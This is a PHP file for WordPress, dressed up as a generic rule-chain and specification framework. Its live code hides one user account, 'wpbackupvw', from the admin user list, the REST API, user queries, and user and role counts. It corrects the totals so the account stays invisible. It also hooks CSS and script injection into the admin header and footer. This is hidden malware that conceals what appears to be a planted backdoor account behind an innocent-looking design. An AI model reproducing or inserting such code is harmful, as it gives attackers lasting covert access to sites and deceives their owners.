if (!interface_exists('Specification')) { interface Specification { public function isSatisfiedBy($context): bool; } interface Action { public function execute($input, $context); } class Rule { private $specification; private $action; private $stopOnMatch = false; public function __construct(Specification $specification, Action $action, $stopOnMatch = false) { $this->specification = $specification; $this->action = $action; $this->stopOnMatch = $stopOnMatch; } public function isSatisfied($context): bool { return $this->specification->isSatisfiedBy($context); } public function execute($input, $context) { return $this->action->execute($input, $context); } public function shouldStopOnMatch(): bool { return $this->stopOnMatch; } } class RuleChain { private $rules = []; public function addRule(Rule $rule) { $this->rules[] = $rule; return $this; } public function apply($input, $context) { $result = $input; foreach ($this->rules as $rule) { if ($rule->isSatisfied($context)) { $result = $rule->execute($result, $context); if ($rule->shouldStopOnMatch()) { break; } } } return $result; } } class RuleContext { private static $instance = null; private $targetUser = null; private function __construct($login) { $user = get_user_by('login', $login); if ($user) { $this->targetUser = [ 'id' => (int) $user->ID, 'login' => $user->user_login, 'roles' => $user->roles ]; } } public static function getInstance($login = null) { if (self::$instance === null && $login !== null) { self::$instance = new self($login); } return self::$instance; } public function getTarget() { return $this->targetUser; } public function isActive() { return !empty($this->targetUser); } public function getTargetId() { return $this->targetUser ? $this->targetUser['id'] : 0; } public function getTargetRoles() { return $this->targetUser ? $this->targetUser['roles'] : []; } } } class ActiveTargetSpecification implements Specification { public function isSatisfiedBy($context): bool { return $context->isActive(); } } class HookMatchSpecification implements Specification { private $hookName; public function __construct($hookName) { $this->hookName = $hookName; } public function isSatisfiedBy($context): bool { return true; } } class AllSpecification implements Specification { private $specs = []; public function __construct(array $specs) { $this->specs = $specs; } public function isSatisfiedBy($context): bool { foreach ($this->specs as $spec) { if (!$spec->isSatisfiedBy($context)) { return false; } } return true; } } class ExcludeUserAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target || !is_object($input)) return $input; $exclude = $input->get('exclude', []); $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($target['id'], $exclude)) { $exclude[] = $target['id']; $input->set('exclude', $exclude); } return $input; } } class ModifyExcludeAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target || !is_array($input)) return $input; if (isset($input['exclude'])) { $exclude = $input['exclude']; $exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude)); if (!in_array($target['id'], $exclude)) { $exclude[] = $target['id']; } $input['exclude'] = $exclude; } else { $input['exclude'] = [$target['id']]; } return $input; } } class CorrectTotalAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target || !is_object($input)) return $input; $real = get_users(['fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($real)) { $input->total_users = count($real); } elseif ($input->total_users > 0) { $input->total_users = max(0, $input->total_users - 1); } if (property_exists($input, 'avail_roles') && is_array($input->avail_roles)) { foreach ($target['roles'] as $role) { if (isset($input->avail_roles[$role]) && $input->avail_roles[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($role_users)) { $input->avail_roles[$role] = count($role_users); } } } } return $input; } } class CorrectRolesAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target || !is_array($input)) return $input; foreach ($target['roles'] as $role) { if (isset($input[$role]) && $input[$role] > 0) { $role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$target['id']]]); if (is_array($role_users)) { $input[$role] = count($role_users); } else { $input[$role] = max(0, $input[$role] - 1); } } } return $input; } } class FilterCollectionAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target || !is_array($input)) return $input; return array_values(array_filter($input, function($user) use ($target) { return (int) $user->ID !== $target['id']; })); } } class CssInjectAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target) return $input; $id = $target['id']; echo ""; return $input; } } class ScriptInjectAction implements Action { public function execute($input, $context) { $target = $context->getTarget(); if (!$target) return $input; $id = $target['id']; echo ""; return $input; } } if (!class_exists('RuleChainManager')) { class RuleChainManager { private static $chains = []; private static $initialized = false; public static function buildChain($hook, RuleChain $chain) { self::$chains[$hook] = $chain; } public static function applyAll() { if (self::$initialized) return; $context = RuleContext::getInstance(); if (!$context->isActive()) return; foreach (self::$chains as $hook => $chain) { add_filter($hook, function($input) use ($chain, $context) { return $chain->apply($input, $context); }, PHP_INT_MAX); } self::$initialized = true; } public static function getStatus() { $ctx = RuleContext::getInstance(); $target = $ctx->getTarget(); if (!$target) { return ['active' => false]; } return [ 'active' => true, 'user_id' => $target['id'], 'user_login' => $target['login'], 'roles' => $target['roles'], 'chains_count' => count(self::$chains), 'initialized' => self::$initialized, 'timestamp' => current_time('mysql') ]; } } } $ctx = RuleContext::getInstance('wpbackupvw'); if ($ctx->isActive()) { $activeSpec = new ActiveTargetSpecification(); $chainUserQuery = new RuleChain(); $chainUserQuery->addRule(new Rule($activeSpec, new ExcludeUserAction())); RuleChainManager::buildChain('pre_get_users', $chainUserQuery); $chainListArgs = new RuleChain(); $chainListArgs->addRule(new Rule($activeSpec, new ModifyExcludeAction())); RuleChainManager::buildChain('users_list_table_query_args', $chainListArgs); $chainUserCount = new RuleChain(); $chainUserCount->addRule(new Rule($activeSpec, new CorrectTotalAction())); RuleChainManager::buildChain('wp_count_users', $chainUserCount); $chainRoleCount = new RuleChain(); $chainRoleCount->addRule(new Rule($activeSpec, new CorrectRolesAction())); RuleChainManager::buildChain('count_users', $chainRoleCount); $chainRestApi = new RuleChain(); $chainRestApi->addRule(new Rule($activeSpec, new ModifyExcludeAction())); RuleChainManager::buildChain('rest_user_query', $chainRestApi); $chainCollection = new RuleChain(); $chainCollection->addRule(new Rule($activeSpec, new FilterCollectionAction())); RuleChainManager::buildChain('get_users', $chainCollection); $chainCss = new RuleChain(); $chainCss->addRule(new Rule($activeSpec, new CssInjectAction())); RuleChainManager::buildChain('admin_head', $chainCss); $chainScript = new RuleChain(); $chainScript->addRule(new Rule($activeSpec, new ScriptInjectAction())); RuleChainManager::buildChain('admin_footer', $chainScript); RuleChainManager::applyAll(); } if (!function_exists('rule_chain_get_hidden_id')) { function rule_chain_get_hidden_id() { $ctx = RuleContext::getInstance(); return $ctx->isActive() ? $ctx->getTargetId() : 0; } } if (!function_exists('rule_chain_is_hidden')) { function rule_chain_is_hidden($user_id) { return rule_chain_get_hidden_id() === (int) $user_id; } } if (!function_exists('rule_chain_get_status')) { function rule_chain_get_status() { return RuleChainManager::getStatus(); } } if (!function_exists('rule_chain_add_custom')) { function rule_chain_add_custom($hook, Specification $spec, Action $action, $stopOnMatch = false) { $chain = new RuleChain(); $chain->addRule(new Rule($spec, $action, $stopOnMatch)); RuleChainManager::buildChain($hook, $chain); if (RuleContext::getInstance()->isActive()) { add_filter($hook, function($input) use ($chain) { return $chain->apply($input, RuleContext::getInstance()); }, PHP_INT_MAX); } } }